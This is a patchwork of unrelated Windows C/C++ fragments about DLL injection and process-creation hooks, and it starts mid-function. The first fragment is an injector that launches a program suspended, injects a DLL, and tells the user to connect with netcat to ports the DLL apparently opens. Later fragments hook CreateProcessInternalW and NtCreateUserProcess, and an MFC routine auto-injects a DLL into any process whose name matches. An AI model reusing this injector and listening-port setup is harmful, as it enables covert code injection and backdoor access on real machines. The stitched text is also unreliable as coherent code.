printf( "n [OK] - Procces Attached [%04d].n", pid );
}
}
else
{
// Mostramos los datos del programa
ShowInjectorTask( program_name, dll_name );
// Checkeamos el tipo de programa
if ( !strcmp( typeapp, "-c" ) )
type_of_app = _CONS_APP__;
else if ( !strcmp( typeapp, "-g" ) )
type_of_app = _GUI_APP__;
else if ( !strcmp( typeapp, "-u" ) )
type_of_app = GetTypeOfApp( ( LPTSTR ) program_name );
else
return _ERROR__;
if ( type_of_app == _CONS_APP__ )
{
puts( " [OK] - CONSOLE." );
create_flag = CREATE_SUSPENDED | CREATE_NEW_CONSOLE;
}
else if ( type_of_app == _GUI_APP__ )
{
puts( " [OK] - GUI" );
create_flag = 0;
}
else if ( type_of_app == _UNK_APP__ )
puts( " [OK] - UNKNOW" );
// Creamos el proceso en funcion del tipo de exe
debug_string = "Create process";
if
(
CreateProcess
(
NULL ,
(LPTSTR) program_name ,
NULL ,
NULL ,
FALSE ,
create_flag ,
NULL ,
NULL ,
& startup_info ,
& pinfo
)
==
0
)
{
printf( " [FAIL] - %sn", debug_string );
ShowGetLastErrorString( "InjectorDll:CreateProcess(program_name)" );
return _ERROR__;
}
// Mostramos los datos del proceso creado
printf
(
" [OK] - %s:n"
" [INFO] PID: 0x%04Xn"
" [INFO] P. HANDLE: 0x%08Xn"
" [INFO] TID: 0x%04Xn"
" [INFO] T. HANDLE: 0x%08Xn"
, debug_string
, pinfo.dwProcessId
, pinfo.hProcess
, pinfo.dwThreadId
, pinfo.hThread
);
// Esperamos a la carga del proceso en memoria y en ese momento
// suspendemos el hilo principal para poder trabajar con el sin problemas
// en caso de que sea una aplicacion con ventanas
if ( type_of_app == _GUI_APP__ )
{
debug_string = " Waiting for process load.";
if
(
WaitForInputIdle( pinfo.hProcess, INFINITE )
==
0
)
{
debug_string = "Suspension of remote main thread.";
if ( SuspendThread( pinfo.hThread ) == -1 )
{
printf( " [FAIL] - %sn", debug_string );
ShowGetLastErrorString
( "InjectorDll:SuspendThread(_GUI_APP__)" );
return_function = _ERROR__;
}
else
{
printf( " [OK] - %s.n", debug_string );
return_function == _SUCCESS__;
}
}
else
{
printf( " [ERROR] - %sn", debug_string );
ShowGetLastErrorString
( "InjectorDll:WaitForInputIdle(_GUI_APP__)" );
return_function = _ERROR__;
}
}
}
// Preparamos y inyectamos la carga de la DLL en el proceso indicado
if ( return_function == _SUCCESS__ )
{
puts( " [INFO] - Injecting DLL... " );
debug_string = " DLL injected.";
if ( InjectDll( pinfo.hProcess, dll_name ) == _SUCCESS__ )
{
printf( " [OK] - %sn", debug_string );
}
else
{
printf( " [FAIL] - %sn", debug_string );
return_function = _ERROR__;
}
}
// Controlamos los errores y si pasa algo terminamos el proceso remoto
if ( return_function == _ERROR__ )
{
debug_string = " Remote process ended due to an error.";
if ( TerminateProcess( pinfo.hProcess, 0 ) == -1 )
{
printf( " [FAIL] - %sn", debug_string );
ShowGetLastErrorString
( "InjectorDll:TerminateProcess(program)" );
}
else
printf( " [OK] - %s.n", debug_string );
}
debug_string = " Injection ended:";
if ( return_function == _SUCCESS__ )
{
printf
(
"n"
" [OK] - %sn"
" Try to connect to port written in n"
" C:\ph_listen_ports.log, syntax: PID-PORTn"
" Example: nc 127.0.0.1 1234 (1234 is the first default port)n"
,
debug_string
);
}
else
printf( "n [FAIL] - %sn", debug_string );
return return_function;
}
BOOL WINAPI HookCreateProcessInternalW (HANDLE hToken,
LPCWSTR lpApplicationName,
LPWSTR lpCommandLine,
LPSECURITY_ATTRIBUTES lpProcessAttributes,
LPSECURITY_ATTRIBUTES lpThreadAttributes,
BOOL bInheritHandles,
DWORD dwCreationFlags,
LPVOID lpEnvironment,
LPCWSTR lpCurrentDirectory,
LPSTARTUPINFOW lpStartupInfo,
LPPROCESS_INFORMATION lpProcessInformation,
PHANDLE hNewToken)
{
BOOL ret = FALSE;
LPWSTR lpfile = lpCommandLine;
BOOL tohook = FALSE;
if (lpApplicationName && wcslen(lpApplicationName)>1)
{
lpfile = (LPWSTR)lpApplicationName;
}
/* 禁止启动16位程序 */
if (dwCreationFlags&CREATE_SHARED_WOW_VDM || dwCreationFlags&CREATE_SEPARATE_WOW_VDM)
{
SetLastError(ERROR_INVALID_PARAMETER);
return ret;
}
/* 存在不安全插件,注入保护 */
if ( stristrW(lpfile, L"SumatraPDF.exe") ||
stristrW(lpfile, L"java.exe") ||
stristrW(lpfile, L"jp2launcher.exe"))
{
/* 静态编译时,不能启用远程注入 */
#if !defined(LIBPORTABLE_STATIC)
dwCreationFlags |= CREATE_SUSPENDED;
tohook = TRUE;
#endif
}
/* 如果启用白名单制度(严格检查) */
else if ( read_appint(L"General",L"EnableWhiteList") > 0 )
{
if ( !in_whitelist((LPCWSTR)lpfile) )
{
#ifdef _LOGDEBUG
logmsg("the process %ls disabled-runesn",lpfile);
#endif
SetLastError( TrueRtlNtStatusToDosError(STATUS_ERROR) );
return ret;
}
}
else if ( in_whitelist((LPCWSTR)lpfile) )
{
;
}
/* 如果不存在于白名单,则自动阻止命令行程序启动 */
else
{
if ( ProcessIsCUI(lpfile) )
{
#ifdef _LOGDEBUG
logmsg("%ls process, disabled-runesn",lpfile);
#endif
SetLastError( TrueRtlNtStatusToDosError(STATUS_ERROR) );
return ret;
}
}
ret = TrueCreateProcessInternalW(hToken,lpApplicationName,lpCommandLine,lpProcessAttributes,
lpThreadAttributes,bInheritHandles,dwCreationFlags,lpEnvironment,lpCurrentDirectory,
lpStartupInfo,lpProcessInformation,hNewToken);
if ( ret && tohook )
{
#ifdef _LOGDEBUG
logmsg("InjectDll run .n");
#endif
InjectDll(lpProcessInformation);
}
return ret;
}
void CdllInjectDoc::updateProcList(CListCtrl* lv, LPCTSTR imgName, LPSTR dllName)
{
// create Process Snapshot
HANDLE hSnapshot;
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);
PROCESSENTRY32 pe = {sizeof(PROCESSENTRY32)};
// first snapshot
Process32First(hSnapshot, &pe);
// index, pid string
int index = 0;
TCHAR pid[20];
TCHAR emptyPid[20] = {0};
wsprintf(pid, _T("%d"), pe.th32ProcessID);
// 1st, 2nd item text (exe file, pid)
CString first, second;
first = lv->GetItemText(0, 0);
second = lv->GetItemText(0, 1);
// update first process information
if (pe.th32ProcessID != _ttoi(second.GetBuffer(0)) ||
_tcsicmp(pe.szExeFile, first.GetBuffer(0)) != 0)
{
lv->DeleteItem(0);
index = lv->InsertItem(0, pe.szExeFile);
lv->SetItem(index, 1, LVIF_TEXT, pid, 0, 0, 0, NULL);
}
// check automatic inject option
if (imgName != NULL &&
_tcsicmp(imgName,pe.szExeFile) == 0)
{
InjectDll(pe.th32ProcessID, dllName);
}
// empty pid string
//memcpy_s(pid, 20, emptyPid, 20);
// insert next items
int i = index + 1;
// update next process informations
while(Process32Next(hSnapshot, &pe) != FALSE)
{
first = lv->GetItemText(i, 0);
second = lv->GetItemText(i, 1);
// check automatic inject option
if (imgName != NULL &&
_tcsicmp(imgName, pe.szExeFile) == 0)
{
// empty pid string
memcpy_s(pid, 20, emptyPid, 20);
_itot_s(pe.th32ProcessID, pid, 20, 10);
CString temp;
temp.Append(pe.szExeFile);
temp += _T("|");
temp.Append(pid);
temp += _T("|");
if (pidInfo.Find(temp, 0) != -1)
{
i++;
continue;
}
TCHAR line[260];
_stprintf_s(line, 260, _T("Injecting %s(%d)... "),
pe.szExeFile, pe.th32ProcessID);
writeLog(CString(line));
if (InjectDll(pe.th32ProcessID, dllName) == TRUE)
{
writeLog(CString("SUCCEED.rn"));
pidInfo += temp;
}
else
writeLog(CString("FAILED.rn"));
}
// if already in listview, skip
if (pe.th32ProcessID == _ttoi(second.GetBuffer(0)) &&
_tcsicmp(pe.szExeFile, first.GetBuffer(0)) == 0)
{
i++;
continue;
}
// delete old process info, and inform that is exited & delete from injection list
CString temp;
temp = first + _T("|") + second + _T("|");
if (pidInfo.Find(temp) != -1)
{
CString output;
output = _T("Process Exited: ") + first
+ _T("(") + second + _T(").")
+ _T("rn");
writeLog(output);
pidInfo.Replace(temp, _T(""));
}
lv->DeleteItem(i);
index = lv->InsertItem(i, pe.szExeFile);
wsprintf(pid, _T("%d"), pe.th32ProcessID);
lv->SetItem(index, 1, LVIF_TEXT, pid, 0, 0, 0, NULL);
i++;
}
CloseHandle(hSnapshot);
// if listcount is more than process list, delete records
while (i < lv->GetItemCount())
{
// delete old process info, and inform that is exited & delete from injection list
first = lv->GetItemText(i, 0);
second = lv->GetItemText(i, 1);
CString temp;
temp = first + _T("|") + second + _T("|");
if (pidInfo.Find(temp) != -1)
{
CString output;
output = _T("Process Exited: ") + first
+ _T("(") + second + _T(").")
+ _T("rn");
writeLog(output);
pidInfo.Replace(temp, _T(""));
}
lv->DeleteItem(i);
i++;
}
}
NTSTATUS WINAPI HookNtCreateUserProcess(PHANDLE ProcessHandle,PHANDLE ThreadHandle,
ACCESS_MASK ProcessDesiredAccess,ACCESS_MASK ThreadDesiredAccess,
POBJECT_ATTRIBUTES ProcessObjectAttributes,
POBJECT_ATTRIBUTES ThreadObjectAttributes,
ULONG CreateProcessFlags,
ULONG CreateThreadFlags,
PRTL_USER_PROCESS_PARAMETERS ProcessParameters,
PVOID CreateInfo,
PNT_PROC_THREAD_ATTRIBUTE_LIST AttributeList)
{
RTL_USER_PROCESS_PARAMETERS mY_ProcessParameters;
PROCESS_INFORMATION ProcessInformation;
NTSTATUS status;
BOOL tohook = FALSE;
fzero(&mY_ProcessParameters,sizeof(RTL_USER_PROCESS_PARAMETERS));
if ( stristrW(ProcessParameters->ImagePathName.Buffer, L"SumatraPDF.exe") ||
stristrW(ProcessParameters->ImagePathName.Buffer, L"java.exe") ||
stristrW(ProcessParameters->ImagePathName.Buffer, L"jp2launcher.exe"))
{
tohook = TRUE;
}
else if ( read_appint(L"General",L"EnableWhiteList") > 0 )
{
if ( ProcessParameters->ImagePathName.Length > 0 &&
in_whitelist((LPCWSTR)ProcessParameters->ImagePathName.Buffer) )
{
#ifdef _LOGDEBUG
logmsg("the process %ls in whitelistn",ProcessParameters->ImagePathName.Buffer);
#endif
}
else
{
#ifdef _LOGDEBUG
logmsg("the process %ls disabled-runesn",ProcessParameters->ImagePathName.Buffer);
#endif
ProcessParameters = &mY_ProcessParameters;
}
}
else if ( in_whitelist((LPCWSTR)ProcessParameters->ImagePathName.Buffer) )
{
;
}
else
{
if ( !IsGUI((LPCWSTR)ProcessParameters->ImagePathName.Buffer) )
ProcessParameters = &mY_ProcessParameters;
}
status = TrueNtCreateUserProcess(ProcessHandle, ThreadHandle,
ProcessDesiredAccess, ThreadDesiredAccess,
ProcessObjectAttributes, ThreadObjectAttributes,
CreateProcessFlags, CreateThreadFlags, ProcessParameters,
CreateInfo, AttributeList);
if ( NT_SUCCESS(status)&&tohook)
{
ULONG Suspend = 0;
fzero(&ProcessInformation,sizeof(PROCESS_INFORMATION));
ProcessInformation.hProcess = *ProcessHandle;
ProcessInformation.hThread = *ThreadHandle;
/* when tcmalloc enabled or MinGW compile time,InjectDll crash on win8/8.1 */
#if !defined(ENABLE_TCMALLOC) && !defined(__GNUC__) && !defined(LIBPORTABLE_STATIC)
if ( NT_SUCCESS(TrueNtSuspendThread(ProcessInformation.hThread,&Suspend)) )
{
#ifdef _LOGDEBUG
logmsg("NtInjectDll() run .n");
#endif
InjectDll(&ProcessInformation);
}
#endif
}
return status;
}































